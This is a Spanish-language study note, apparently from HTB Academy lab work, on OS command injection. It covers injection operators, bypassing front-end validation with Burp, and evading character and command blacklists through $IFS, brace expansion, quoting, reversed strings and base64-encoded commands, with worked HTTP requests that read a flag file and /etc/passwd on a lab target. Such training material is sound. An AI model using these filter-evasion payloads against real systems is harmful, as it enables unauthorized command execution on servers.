> For the complete documentation index, see [llms.txt](https://g4b0.gitbook.io/g4b0-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://g4b0.gitbook.io/g4b0-docs/documentation/hacking-web/commnad-injections.md).

# Commnad Injections

## Detection

Detectar una inyección de comandos OS **básica** es el mismo proceso que explotarla: se intenta **añadir** un comando mediante distintos operadores de inyección. Si la salida cambia respecto al resultado normal esperado → la vulnerabilidad existe.

> En casos más avanzados se recurre a **fuzzing** o **code review** para identificar la vulnerabilidad, y se construye el payload gradualmente. Este módulo cubre las **básicas**: input del usuario que va directo a una función de ejecución de comandos **sin sanitización**.

### 1. Identificar el punto de inyección

Ejemplo: un **Host Checker** que pide una IP para comprobar si está viva. Al enviar `127.0.0.1`, devuelve la salida de `ping` → confirma que nuestro input entra a un comando del sistema.

Sin ver el código, se puede inferir el comando:

```bash
ping -c 1 OUR_INPUT
```

> Si el input no se sanitiza ni escapa antes de usarse en `ping`, podemos inyectar un comando arbitrario.

### 2. Operadores de inyección

Se escribe el input esperado (ej. una IP), luego un operador, y luego el nuevo comando:

| Operador       | Carácter | URL-Encoded | Comando ejecutado                            |
| -------------- | -------- | ----------- | -------------------------------------------- |
| **Semicolon**  | `;`      | `%3b`       | Ambos                                        |
| **New Line**   | `\n`     | `%0a`       | Ambos                                        |
| **Background** | `&`      | `%26`       | Ambos (la 2ª salida suele mostrarse primero) |
| **Pipe**       | `\|`     | `%7c`       | Ambos (solo se muestra la 2ª salida)         |
| **AND**        | `&&`     | `%26%26`    | Ambos (solo si el 1º tiene éxito)            |
| **OR**         | `\|\|`   | `%7c%7c`    | El 2º (solo si el 1º falla)                  |
| **Sub-Shell**  | \`\`     | `%60%60`    | Ambos (solo Linux)                           |
| **Sub-Shell**  | `$()`    | `%24%28%29` | Ambos (solo Linux)                           |

#### Cómo elegir el operador

| Operador     | Cuándo conviene                                                        |
| ------------ | ---------------------------------------------------------------------- |
| `;` / `\n`   | Ejecutan el segundo comando pase lo que pase con el primero.           |
| `&&`         | Solo si el primero tiene éxito (encadena de forma "limpia").           |
| `\|\|`       | Solo si el primero falla (útil si el input rompe el comando original). |
| `\|`         | Descarta la salida del primero y muestra solo la del segundo.          |
| \`\` / `$()` | Command substitution en Linux.                                         |

### 3. Compatibilidad

Para inyecciones básicas, **todos** estos operadores funcionan **sin importar** el lenguaje, framework o SO del back-end. Da igual PHP/Linux, .NET/Windows o NodeJS/macOS → las inyecciones deberían funcionar.

> ⚠️ **Excepción:** el punto y coma `;` **no** funciona en el **CMD de Windows**, pero **sí** en **PowerShell**.

### Resumen rápido

| Paso         | Acción                                                                 |
| ------------ | ---------------------------------------------------------------------- |
| 1. Detectar  | Enviar input normal (IP) y confirmar que va a un comando (ej. `ping`). |
| 2. Inyectar  | Añadir operador + comando (ej. `127.0.0.1; whoami`).                   |
| 3. Confirmar | Si la salida cambia respecto a la normal → vulnerable.                 |

> Operadores universales: `;`, `\n`, `&`, `|`, `&&`, `||`, \`\`, `$()`. Único caso especial: `;` no sirve en CMD de Windows (usar PowerShell o `&`).

## Injecting Commands

Confirmado el punto de inyección (Host Checker con `ping`), se inyecta un comando usando un operador. Empezamos con el **semicolon** (`;`).

### 1. Construir el payload

Añadir `;` tras la IP y anexar el comando:

```
127.0.0.1; whoami
```

Comando final ejecutado en el back-end:

```bash
ping -c 1 127.0.0.1; whoami
```

Probarlo primero en la VM local para confirmar que corre:

```bash
ping -c 1 127.0.0.1; whoami
# PING 127.0.0.1 ... 1 packets transmitted, 1 received ...
# 21y4d          ← salida de whoami
```

> Con `;` se ejecutan **ambos** comandos y se muestran ambas salidas.

### 2. Validación front-end (y por qué no basta)

Al enviar `127.0.0.1; whoami` en la web, aparece "Match the requested format" → solo acepta formato IP. Pero el error viene del **front-end**, no del back-end.

#### Confirmarlo con Dev Tools

`CTRL+SHIFT+E` (pestaña Network) → clic en **Check**: **no se genera ninguna petición HTTP** pero igual sale el error → la validación es puramente client-side.

> Es muy común validar solo en el front (equipos separados front/back, o confiar en la validación del front). Pero se bypassea fácil enviando peticiones HTTP directas al back-end.

### 3. Bypass de la validación front-end (Burp/ZAP)

Interceptar la request para saltarse el front:

1. Configurar Firefox para pasar el tráfico por **Burp/ZAP**.
2. Activar **Intercept**.
3. Enviar una request normal con una IP válida (`127.0.0.1`).
4. Enviarla a **Repeater** (`CTRL+R`).
5. Modificar el parámetro de la IP a `127.0.0.1; whoami`.
6. **URL-encodear** el payload (`CTRL+U`) para que se envíe correctamente.
7. **Send**.

| Paso       | Elemento | Por qué                                                   |
| ---------- | -------- | --------------------------------------------------------- |
| Repeater   | `CTRL+R` | Permite editar y reenviar la request.                     |
| URL-encode | `CTRL+U` | Asegura que `;`, espacios, etc. lleguen intactos al back. |
| Intercept  | Burp/ZAP | Salta la validación del front-end por completo.           |

#### Resultado

La respuesta ahora contiene la salida de `ping` **y** de `whoami` → inyección exitosa.

### Resumen rápido

| Paso                | Acción                                                   |
| ------------------- | -------------------------------------------------------- |
| 1. Payload          | `127.0.0.1; whoami` → `ping -c 1 127.0.0.1; whoami`      |
| 2. Detectar bloqueo | Error sin petición HTTP → validación front-end           |
| 3. Bypass           | Burp Repeater → editar IP → URL-encode (`CTRL+U`) → Send |
| 4. Confirmar        | Respuesta con salida de ambos comandos                   |

> La validación front-end nunca es suficiente: enviando la request directa al back-end (Burp/ZAP) se salta por completo.

## Other Injection Operators

Además del `;`, probamos otros operadores y cómo cambia el comportamiento según cómo bash encadena comandos por su **exit code**.

### 1. AND Operator (`&&`)

Payload `127.0.0.1 && whoami` → comando final:

```bash
ping -c 1 127.0.0.1 && whoami
```

Probar en la VM local → ejecuta ambos. En Burp, pegar el payload, URL-encodear (`%26%26`) y enviar → salida de ambos comandos.

> `&&` solo ejecuta el segundo comando **si el primero tiene éxito** (exit code 0). Si empiezas directo con `&&` sin IP, el primer comando falla y no ejecuta el segundo.

### 2. OR Operator (`||`)

Solo ejecuta el segundo comando **si el primero falla**. Útil cuando tu inyección **rompe** el comando original y no hay forma limpia de que ambos funcionen.

Con IP válida, el segundo **no** se ejecuta (el primero tuvo éxito):

```bash
ping -c 1 127.0.0.1 || whoami
# PING 127.0.0.1 ... 1 received ...   ← solo ping, whoami NO corre
```

> Bash: si el primer comando devuelve exit code **0** (éxito), se detiene y no intenta el segundo. Solo ejecuta el segundo si el primero falla (exit code 1).

**Romper el primer comando a propósito** (sin IP) para forzar el segundo:

```bash
ping -c 1 || whoami
# ping: usage error: Destination address required
# 21y4d          ← whoami SÍ corre porque ping falló
```

Payload en la web: `|| whoami` → solo la salida del segundo comando → **payload más simple y resultado más limpio**.

| Operador   | Ejecuta el 2º comando… | Payload típico                     |
| ---------- | ---------------------- | ---------------------------------- |
| `;` / `\n` | Siempre                | `127.0.0.1; whoami`                |
| `&&`       | Si el 1º tiene éxito   | `127.0.0.1 && whoami`              |
| `\|\|`     | Si el 1º **falla**     | `\|\| whoami` (sin IP, rompe ping) |

### 3. Operadores por tipo de inyección

Los operadores sirven para muchos tipos de inyección (SQLi, LDAP, XSS, SSRF, XXE, etc.). Referencia rápida:

| Tipo de inyección            | Operadores                                        |
| ---------------------------- | ------------------------------------------------- |
| **SQL Injection**            | `'` `,` `;` `--` `/* */`                          |
| **Command Injection**        | `;` `&&`                                          |
| **LDAP Injection**           | `*` `(` `)` `&` `\|`                              |
| **XPath Injection**          | `'` `or` `and` `not` `substring` `concat` `count` |
| **OS Command Injection**     | `;` `&` `\|`                                      |
| **Code Injection**           | `'` `;` `--` `/* */` `$()` `${}` `#{}` `%{}` `^`  |
| **Directory/Path Traversal** | `../` `..\\` `%00`                                |
| **Object Injection**         | `;` `&` `\|`                                      |
| **XQuery Injection**         | `'` `;` `--` `/* */`                              |
| **Shellcode Injection**      | `\x` `\u` `%u` `%n`                               |
| **Header Injection**         | `\n` `\r\n` `\t` `%0d` `%0a` `%09`                |

> ⚠️ La tabla es incompleta y depende del entorno. En este módulo tratamos inyecciones **directas** (el input va al comando y recibimos su salida). Para inyecciones **indirectas** o **ciegas**, ver el módulo Whitebox Pentesting 101.

### Resumen rápido

| Operador | Comportamiento      | Cuándo usarlo                                                  |
| -------- | ------------------- | -------------------------------------------------------------- |
| `&&`     | 2º solo si 1º OK    | Cuando la IP válida no rompe el comando.                       |
| `\|\|`   | 2º solo si 1º falla | Cuando tu inyección rompe el comando original → `\|\| whoami`. |

> Clave: bash encadena por **exit code**. `&&` = tras éxito, `||` = tras fallo. Elegir según si tu payload deja el comando original funcional o roto.

## Identifying Filters

Aunque el desarrollador intente asegurar la app, puede seguir siendo explotable. Otra mitigación común: **blacklists de caracteres y palabras** en el back-end que detectan intentos de inyección y deniegan la request. Encima de eso puede haber un **WAF**, con detección más amplia (también SQLi, XSS, etc.).

Esta sección: cómo detectar qué se está bloqueando (carácter vs. comando vs. WAF).

### 1. Detectar filtro vs. WAF

En el Host Checker con mitigaciones, al probar `;`, `&&`, `||` aparece **"invalid input"** → algo disparó un mecanismo de seguridad.

Cómo distinguir el origen por **dónde** aparece el error:

| Dónde aparece el error                               | Origen probable                      |
| ---------------------------------------------------- | ------------------------------------ |
| En el mismo campo de output                          | La **app PHP** lo detectó y bloqueó. |
| En una página distinta (con tu IP, tu request, etc.) | Un **WAF** lo denegó.                |

### 2. Descomponer el payload

Analizar qué contenía el payload bloqueado:

```bash
127.0.0.1; whoami
```

Además de la IP (que sabemos no está blacklisteada), enviamos:

1. Un carácter punto y coma `;`
2. Un espacio
3. El comando `whoami`

> Entonces la app **detectó un carácter blacklisteado**, **un comando blacklisteado**, o ambos. Hay que aislar cuál.

### 3. Blacklist de caracteres

La app puede tener una lista de caracteres prohibidos y denegar si el input los contiene:

```php
$blacklist = ['&', '|', ';', ...SNIP...];
foreach ($blacklist as $character) {
    if (strpos($_POST['ip'], $character) !== false) {
        echo "Invalid input";
    }
}
```

> Si cualquier carácter del input coincide con la blacklist → request denegada.

### 4. Identificar el carácter bloqueado

Reducir el payload **un carácter a la vez** para ver cuándo se bloquea. Sabemos que `127.0.0.1` funciona, así que añadimos solo el `;`:

```
127.0.0.1;
```

Si sigue dando "invalid input" → el **`;` está blacklisteado**. Repetir con cada operador (`&`, `|`, `&&`, `||`, etc.) para mapear cuáles están prohibidos.

| Paso            | Payload                         | Resultado esperado                  |
| --------------- | ------------------------------- | ----------------------------------- |
| Baseline        | `127.0.0.1`                     | ✅ Funciona (no blacklisteado).      |
| Aislar operador | `127.0.0.1;`                    | ❌ "invalid input" → `;` bloqueado.  |
| Mapear resto    | `127.0.0.1&`, `127.0.0.1\|` ... | Identifica cada carácter prohibido. |

### Resumen rápido

| Paso                   | Acción                                                       |
| ---------------------- | ------------------------------------------------------------ |
| 1. Detectar mitigación | `;`/`&&`/\`                                                  |
| 2. Origen              | Error en el output = app; página aparte = WAF.               |
| 3. Aislar              | Reducir a un carácter por vez desde el baseline `127.0.0.1`. |
| 4. Mapear              | Probar cada operador para saber cuáles están blacklisteados. |

> Aislar carácter por carácter es clave: te dice **exactamente** qué está filtrado para luego elegir el bypass adecuado (espacios, caracteres, comandos) en las siguientes secciones.

### Ejemplo 1

```bash
POST / HTTP/1.1
Host: 154.57.164.77:32078
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
Origin: http://154.57.164.77:32078
Connection: keep-alive
Referer: http://154.57.164.77:32078/
Upgrade-Insecure-Requests: 1
Priority: u=0, i

ip=127.0.0.1%0a
```

<figure><img src="/files/uVzTImgG59OCZmOfzu0C" alt=""><figcaption></figcaption></figure>

## Bypassing Space Filters

Tras identificar qué caracteres están blacklisteados, toca bypassearlos. Estos ejemplos usan **Linux**. Empezamos por dos filtros comunes: el **operador de inyección** y el **espacio**.

### 1. Bypass del operador blacklisteado → New Line

La mayoría de operadores (`;`, `&&`, `||`) suelen estar blacklisteados. Pero el **new-line** (`%0a`) normalmente **no**, porque a veces se necesita en el propio payload. Sirve como operador de inyección en Linux **y** Windows.

```
127.0.0.1%0a
```

> La request no se deniega → `%0a` no está blacklisteado y funciona como operador.

### 2. Identificar el filtro de espacio

Probar `127.0.0.1%0a whoami` → "invalid input". Aislar el siguiente carácter (el **espacio**) → sigue bloqueado.

> El espacio es un carácter comúnmente blacklisteado, sobre todo si el input no debería contenerlo (ej. una IP). Pero hay muchas formas de meter un espacio **sin usar el carácter espacio**.

### 3. Métodos para reemplazar el espacio

#### Tabs (`%09`)

Linux y Windows aceptan tabs entre argumentos y los ejecutan igual:

```
127.0.0.1%0a%09
```

#### Variable `$IFS`

El **Internal Field Separator** de Linux vale por defecto un espacio y un tab → sirve entre argumentos. Usar `${IFS}` donde iría el espacio:

```
127.0.0.1%0a${IFS}
```

> `${IFS}` se sustituye automáticamente por un espacio → el comando funciona.

#### Brace Expansion (`{cmd,arg}`)

Bash añade espacios automáticamente entre elementos separados por comas dentro de llaves:

```bash
{ls,-la}
# equivale a: ls -la
```

Aplicado a la inyección:

```
127.0.0.1%0a{ls,-la}
```

***

### Tabla de bypasses de espacio

| Método              | Payload    | Cómo funciona                                      |
| ------------------- | ---------- | -------------------------------------------------- |
| **Tab**             | `%09`      | Tab entre argumentos, ejecutado igual que espacio. |
| **$IFS**            | `${IFS}`   | Variable que vale espacio/tab por defecto.         |
| **Brace Expansion** | `{ls,-la}` | Bash inserta espacios entre elementos de la llave. |

> Referencia: PayloadsAllTheThings → "writing commands without spaces" tiene más técnicas.

### Resumen rápido

| Filtro                  | Bypass                                                |
| ----------------------- | ----------------------------------------------------- |
| Operador (`;`, `&&`, \` |                                                       |
| Espacio                 | `%09` (tab), `${IFS}`, o brace expansion `{cmd,arg}`. |

> Ejemplo completo tras bypassear operador + espacio: `127.0.0.1%0a{ls,-la}` o `127.0.0.1%0a%09whoami`.

### Ejemplo 1

```bash
POST / HTTP/1.1
Host: 154.57.164.77:32078
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
Origin: http://154.57.164.77:32078
Connection: keep-alive
Referer: http://154.57.164.77:32078/
Upgrade-Insecure-Requests: 1
Priority: u=0, i

ip=127.0.0.1%0a{ls,-la}
```

<figure><img src="/files/tYINQETgM6nGXkwH8T3X" alt=""><figcaption></figcaption></figure>

## Bypassing Other Blacklisted Characters

Además de operadores y espacios, la **barra** (`/`) y la **contrabarra** (`\`) suelen estar blacklisteadas (necesarias para rutas). Con varias técnicas podemos producir **cualquier carácter** sin escribirlo directamente.

Enfoques: **variables de entorno** (extraer un carácter concreto) y **character shifting** (desplazar en la tabla ASCII).

### 1. Linux — Variables de entorno

No hay una variable que valga `/` directo (como `${IFS}` para el espacio), pero podemos **extraer** el carácter de una variable indicando inicio y longitud.

#### Slash desde `$PATH`

```bash
echo ${PATH}
# /usr/local/bin:/usr/bin:/bin:/usr/games

echo ${PATH:0:1}
# /            ← carácter en posición 0, longitud 1
```

| Sintaxis      | Significado                                                             |
| ------------- | ----------------------------------------------------------------------- |
| `${PATH:0:1}` | De la variable `PATH`, empezar en índice `0`, tomar `1` carácter → `/`. |

> Al usarlo en el payload **no** se pone `echo` (aquí solo es para mostrar el carácter). Igual con `$HOME` o `$PWD`.

#### Semicolon desde `$LS_COLORS`

```bash
echo ${LS_COLORS:10:1}
# ;
```

> 💡 `printenv` lista todas las variables → buscar cuáles contienen el carácter que necesitas y reducir la cadena a ese carácter.

#### Payload combinado

Semicolon + espacio vía variables:

```
127.0.0.1${LS_COLORS:10:1}${IFS}
```

### 2. Windows — Variables de entorno

#### CMD

```cmd
echo %HOMEPATH:~6,-11%
REM  %HOMEPATH% = \Users\htb-student
REM  ~6  = \htb-student  (empieza en posición 6)
REM  -11 = \             (posición final negativa = largo de "htb-student")
```

| Parte        | Efecto                                                |
| ------------ | ----------------------------------------------------- |
| `%HOMEPATH%` | `\Users\htb-student`                                  |
| `~6`         | Empieza en índice 6 → `\htb-student`                  |
| `-11`        | Recorta desde el final (largo de `htb-student`) → `\` |

#### PowerShell

Una palabra es un array → se indexa el carácter directamente:

```powershell
$env:HOMEPATH[0]
# \

$env:PROGRAMFILES[10]
```

> `Get-ChildItem Env:` lista todas las variables de entorno para elegir una que contenga el carácter deseado.

### 3. Character Shifting (desplazamiento ASCII)

Producir el carácter **sin usarlo**, desplazando otro carácter +1 en la tabla ASCII. Se busca el carácter **anterior** al deseado (`man ascii`) y se usa en el comando.

```bash
man ascii     # \ está en 92; el anterior, [ , está en 91
echo $(tr '!-}' '"-~' <<< [)
# \
```

| Elemento         | Descripción                                                               |
| ---------------- | ------------------------------------------------------------------------- |
| `tr '!-}' '"-~'` | Traduce cada carácter del rango `!-}` al siguiente (`"-~`) → desplaza +1. |
| `<<< [`          | Pasa el carácter anterior al deseado (`[` → `\`).                         |

> En Windows se logra lo mismo con PowerShell, aunque los comandos son más largos.

### Resumen rápido

| Técnica                   | SO          | Ejemplo                 | Produce |
| ------------------------- | ----------- | ----------------------- | ------- |
| **Substring de variable** | Linux       | `${PATH:0:1}`           | `/`     |
|                           | Linux       | `${LS_COLORS:10:1}`     | `;`     |
| **Substring de variable** | Windows CMD | `%HOMEPATH:~6,-11%`     | `\`     |
|                           | Windows PS  | `$env:HOMEPATH[0]`      | `\`     |
| **Character Shifting**    | Linux       | `$(tr '!-}' '"-~'<<<[)` | `\`     |

> Idea central: no necesitas escribir el carácter prohibido; lo **generas** desde variables de entorno o desplazando en ASCII. `printenv` / `Get-ChildItem Env:` para descubrir variables con caracteres útiles.

### Ejemplo 1

```bash
POST / HTTP/1.1
Host: 154.57.164.77:32078
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
Origin: http://154.57.164.77:32078
Connection: keep-alive
Referer: http://154.57.164.77:32078/
Upgrade-Insecure-Requests: 1
Priority: u=0, i

ip=127.0.0.1%0a{ls,-la}${IFS}${PATH:0:1}home
```

```
ip=127.0.0.1%0a{ls,-la}${IFS}${PATH:0:1}home
```

Se trata de un payload de **command injection** construido con varias técnicas de evasión de filtros encadenadas. La aplicación detrás probablemente ejecuta algo como `ping <ip>` en el backend sin sanear la entrada, así que el atacante inyecta un segundo comando.

Desglose pieza por pieza:

| Fragmento     | Qué es                                  | Qué produce / para qué sirve                                                                                                                                                                          |
| ------------- | --------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `127.0.0.1`   | Valor "legítimo" esperado               | Hace que el comando base (`ping 127.0.0.1`) se ejecute normalmente antes de la inyección                                                                                                              |
| `%0a`         | Salto de línea URL-encoded (`\n`, 0x0A) | Actúa como **separador de comandos**. Al ser `x-www-form-urlencoded`, `%0a` se decodifica a un newline, que en shell termina el primer comando e inicia otro. Se usa cuando `;`, \`                   |
| `{ls,-la}`    | **Brace expansion** de Bash             | Se expande a `ls -la`. Permite pasar un comando con su argumento **sin usar espacios**, evadiendo filtros de espacio                                                                                  |
| `${IFS}`      | Variable *Internal Field Separator*     | Su valor por defecto incluye espacio/tab/newline, así que sirve como **sustituto del espacio** literal cuando el espacio está bloqueado                                                               |
| `${PATH:0:1}` | **Substring expansion** sobre `$PATH`   | `PATH` casi siempre empieza con `/` (ej. `/usr/bin:...`). Tomar substring desde índice 0, longitud 1 → devuelve `/`. Es una forma de generar un `/` **sin escribirlo**, por si la barra está filtrada |
| `home`        | Texto literal                           | Se concatena con el `/` anterior                                                                                                                                                                      |

Resolviendo todas las expansiones, lo que realmente se ejecuta en el servidor es:

```bash
ping 127.0.0.1
ls -la /home
```

Es decir: lista en formato largo el contenido de `/home`, exponiendo los directorios de usuario del sistema.

Lo interesante didácticamente es que este payload combina **cuatro bypasses distintos a la vez**, justamente los que cubre el módulo de Command Injections de HTB Academy:

* **Operador de inyección** sin caracteres típicos → `%0a` en lugar de `;`/`|`/`&`
* **Bypass de espacios (técnica 1)** → `${IFS}`
* **Bypass de espacios (técnica 2)** → brace expansion `{ls,-la}`
* **Bypass de barra `/`** → `${PATH:0:1}`

Un detalle sobre el orden mental: primero pensarías que necesitas espacios entre `ls`, `-la` y la ruta. El truco es que `{ls,-la}` ya resuelve el espacio interno del comando, y `${IFS}` aporta el espacio entre el comando y su argumento de ruta. Por eso el payload no contiene ni un solo espacio literal ni una sola barra literal.

<figure><img src="/files/O3uIE61h4KcvEwtqsboL" alt=""><figcaption></figcaption></figure>

## Bypassing Blacklisted Commands

Distinto de los filtros de un solo carácter: una **blacklist de comandos** es un conjunto de **palabras**. Si **ofuscamos** el comando para que se vea diferente pero se ejecute igual, bypasseamos el filtro.

#### Código vulnerable típico

```php
$blacklist = ['whoami', 'cat', ...SNIP...];
foreach ($blacklist as $word) {
    if (strpos('$_POST['ip']', $word) !== false) {
        echo "Invalid input";
    }
}
```

> **Fallo clave:** busca una **coincidencia exacta** de la palabra. Si enviamos el comando ligeramente alterado (con caracteres que la shell ignora), no coincide y se ejecuta igual.

### 1. Comillas (Linux + Windows)

Insertar comillas simples `'` o dobles `"` entre los caracteres del comando. La shell las ignora y ejecuta igual:

```bash
w'h'o'am'i
# 21y4d

w"h"o"am"i
# 21y4d
```

**Reglas:**

| Regla            | Detalle                                   |
| ---------------- | ----------------------------------------- |
| No mezclar tipos | O todas simples o todas dobles, no ambas. |
| Número **par**   | La cantidad de comillas debe ser par.     |
| Multiplataforma  | Funciona en Linux **y** Windows.          |

Payload:

```
127.0.0.1%0aw'h'o'am'i
```

### 2. Caracteres solo-Linux

Bash ignora la contrabarra `\` y el parámetro posicional `$@` en medio del comando. Aquí el número **no** tiene que ser par (puedes usar uno solo):

```bash
who$@ami
w\ho\am\i
```

| Carácter | Nota                                                            |
| -------- | --------------------------------------------------------------- |
| `$@`     | Parámetro posicional, ignorado en medio del comando.            |
| `\`      | Contrabarra; ojo: si `\` está blacklisteado, usar otra técnica. |

> Si no funcionan, quizá usaste un carácter filtrado → combínalo con los bypasses de caracteres de la sección anterior.

### 3. Caracteres solo-Windows

El caret `^` se inserta en medio del comando sin afectar el resultado:

```cmd
who^ami
REM 21y4d
```

### Resumen rápido

| Técnica        | SO              | Ejemplo                     | Regla                       |
| -------------- | --------------- | --------------------------- | --------------------------- |
| **Comillas**   | Linux + Windows | `w'h'o'am'i` / `w"h"o"am"i` | Par, sin mezclar tipos.     |
| **`$@` / `\`** | Solo Linux      | `who$@ami` / `w\ho\am\i`    | Número libre (impar OK).    |
| **Caret**      | Solo Windows    | `who^ami`                   | Insertado entre caracteres. |

> Todas explotan lo mismo: el filtro busca la palabra **exacta**, pero la shell **descarta** estos caracteres al ejecutar → el comando corre sin coincidir con la blacklist.

### Ejemplo 1

```bash
POST / HTTP/1.1
Host: 154.57.164.77:32078
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 79
Origin: http://154.57.164.77:32078
Connection: keep-alive
Referer: http://154.57.164.77:32078/
Upgrade-Insecure-Requests: 1
Priority: u=0, i

ip=127.0.0.1%0ac"a"t${IFS}${PATH:0:1}home${PATH:0:1}1nj3c70r${PATH:0:1}flag.txt
```

<figure><img src="/files/JIUvLUE0f88AXn8FuzIE" alt=""><figcaption></figcaption></figure>

## Advanced Command Obfuscation

Frente a filtros avanzados (**WAFs**), las evasiones básicas pueden no bastar. Estas técnicas hacen mucho menos probable la detección: **case manipulation**, **reversed commands** y **encoded commands**.

> ⚠️ Regla transversal: al aplicar cualquier técnica, **no usar caracteres filtrados** (ej. espacios → usar `%09`). Si no, la request falla y parece que la técnica no funcionó.

### 1. Case Manipulation

Invertir o alternar mayúsculas/minúsculas (`WHOAMI`, `WhOaMi`). La blacklist a menudo no cubre todas las variantes de caso.

#### Windows (case-insensitive)

CMD y PowerShell ejecutan sin importar el caso:

```powershell
WhOaMi
# 21y4d
```

#### Linux (case-sensitive → convertir a minúsculas)

Bash sí distingue caso, así que hay que forzar minúsculas:

```bash
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")
# 21y4d
```

Alternativa:

```bash
$(a="WhOaMi";printf %s "${a,,}")
```

| Comando              | Cómo funciona                                     |
| -------------------- | ------------------------------------------------- |
| `tr "[A-Z]" "[a-z]"` | Traduce mayúsculas a minúsculas.                  |
| `${a,,}`             | Expansión bash que pasa la variable a minúsculas. |

> ⚠️ Estos comandos **contienen espacios** → reemplazar por `%09` para el web (si no, "invalid input").

### 2. Reversed Commands

Escribir el comando **al revés** y revertirlo en tiempo real dentro de una sub-shell → nunca aparece la palabra blacklisteada.

#### Linux

```bash
echo 'whoami' | rev
# imaohw

$(rev<<<'imaohw')
# 21y4d
```

#### Windows

```powershell
"whoami"[-1..-20] -join ''
# imaohw

iex "$('imaohw'[-1..-20] -join '')"
# 21y4d
```

| Elemento                        | Descripción                       |
| ------------------------------- | --------------------------------- |
| `rev` / `[-1..-20] -join ''`    | Invierte la cadena.               |
| `$(rev<<<...)` / `iex "$(...)"` | Sub-shell que revierte y ejecuta. |

> **Tip:** si además quieres bypassear un filtro de caracteres, invierte también esos caracteres (o inclúyelos al revertir el original).

### 3. Encoded Commands (base64 / hex)

Útil cuando el comando tiene caracteres filtrados o que el servidor podría URL-decodear (rompiendo el comando). Se crea un comando **único** por caso → mucho menos detectable.

#### Linux (base64)

Codificar el payload (incluidos caracteres filtrados):

```bash
echo -n 'cat /etc/passwd | grep 33' | base64
# Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==
```

Decodificar en sub-shell y pasar a bash:

```bash
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
# www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
```

| Elemento          | Descripción                                                  |
| ----------------- | ------------------------------------------------------------ |
| `base64 -d<<<...` | Decodifica el string en una sub-shell.                       |
| `bash<<<$(...)`   | Ejecuta el resultado decodificado.                           |
| `<<<`             | Here-string → evita el pipe `\|` (que suele estar filtrado). |

> El comando final **no** contiene caracteres filtrados. Si `bash`/`base64` estuvieran filtrados: usar inserción de caracteres, o alternativas como `sh` (ejecución), `openssl` (decode b64), `xxd` (decode hex).

#### Windows (base64 UTF-16LE)

Codificar (Windows usa UTF-16):

```powershell
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami'))
# dwBoAG8AYQBtAGkA
```

Lo mismo desde Linux (convertir utf-8 → utf-16le antes):

```bash
echo -n whoami | iconv -f utf-8 -t utf-16le | base64
# dwBoAG8AYQBtAGkA
```

Decodificar y ejecutar en PowerShell:

```powershell
iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))"
# 21y4d
```

> Windows usa **UTF-16LE** (Unicode) para base64, por eso `iconv` en Linux si generas el string ahí.

### Resumen rápido

| Técnica          | Linux                              | Windows                               |
| ---------------- | ---------------------------------- | ------------------------------------- |
| **Case**         | `$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")` | `WhOaMi` (case-insensitive)           |
| **Reverse**      | `$(rev<<<'imaohw')`                | `iex "$('imaohw'[-1..-20] -join '')"` |
| **Encode (b64)** | `bash<<<$(base64 -d<<<...)`        | `iex "$(...FromBase64String(...))"`   |

> Claves: usar `<<<` en vez de `|` (filtrado), reemplazar espacios por `%09`, y recordar que Windows codifica en UTF-16LE. Más técnicas (wildcards, regex, output redirection, integer expansion) en PayloadsAllTheThings.

### Ejemplo 1

Ejecutar `find /usr/share/ | grep root | grep mysql | tail -n 1` en un parámetro `ip` con blacklist de operadores, caracteres y comandos.

**Truco central:** si no puedes reconstruir un carácter clave (como `|`), codifica el comando entero en Base64 y ejecútalo con `bash <<<`. Ningún carácter prohibido viaja en texto plano.

### Payload final

```
ip=127.0.0.1%0a$(rev<<<'hsab')<<<$($(rev<<<'46esab')${IFS}-d<<<ZmluZCAvdXNyL3NoYXJlLyB8IGdyZXAgcm9vdCB8IGdyZXAgbXlzcWwgfCB0YWlsIC1uIDE=)
```

bash

```bash
# equivale a:
bash <<< "find /usr/share/ | grep root | grep mysql | tail -n 1"
```

### Sustitutos de la blacklist

| Bloqueado                  | Sustituto         | Nota                      |
| -------------------------- | ----------------- | ------------------------- |
| separador (`;` `&` `\|`)   | `%0a`             | salto de línea            |
| espacio                    | `${IFS}`          | Internal Field Separator  |
| `/`                        | `${PATH:0:1}`     | 1er char de `$PATH` = `/` |
| palabra (`bash`, `base64`) | `$(rev<<<'hsab')` | invierte el string        |

### Metodología (armar por fases)

1. **Separador** → prueba `%0a`, `;`, `&&` con `whoami` hasta que uno pase.
2. **Mapear blacklist** → inyecta suelto espacio, `/`, la palabra del comando; anota qué cae.
3. **Sustituir** → `${IFS}`, `${PATH:0:1}`, `rev`. Verifica cada uno aislado.
4. **Incremental** → `find` → `find /usr/share` (confirma salida en cada paso).
5. **Muro del `|`** → no hay variable cuyo valor sea `|` → deja de inyectarlo suelto.
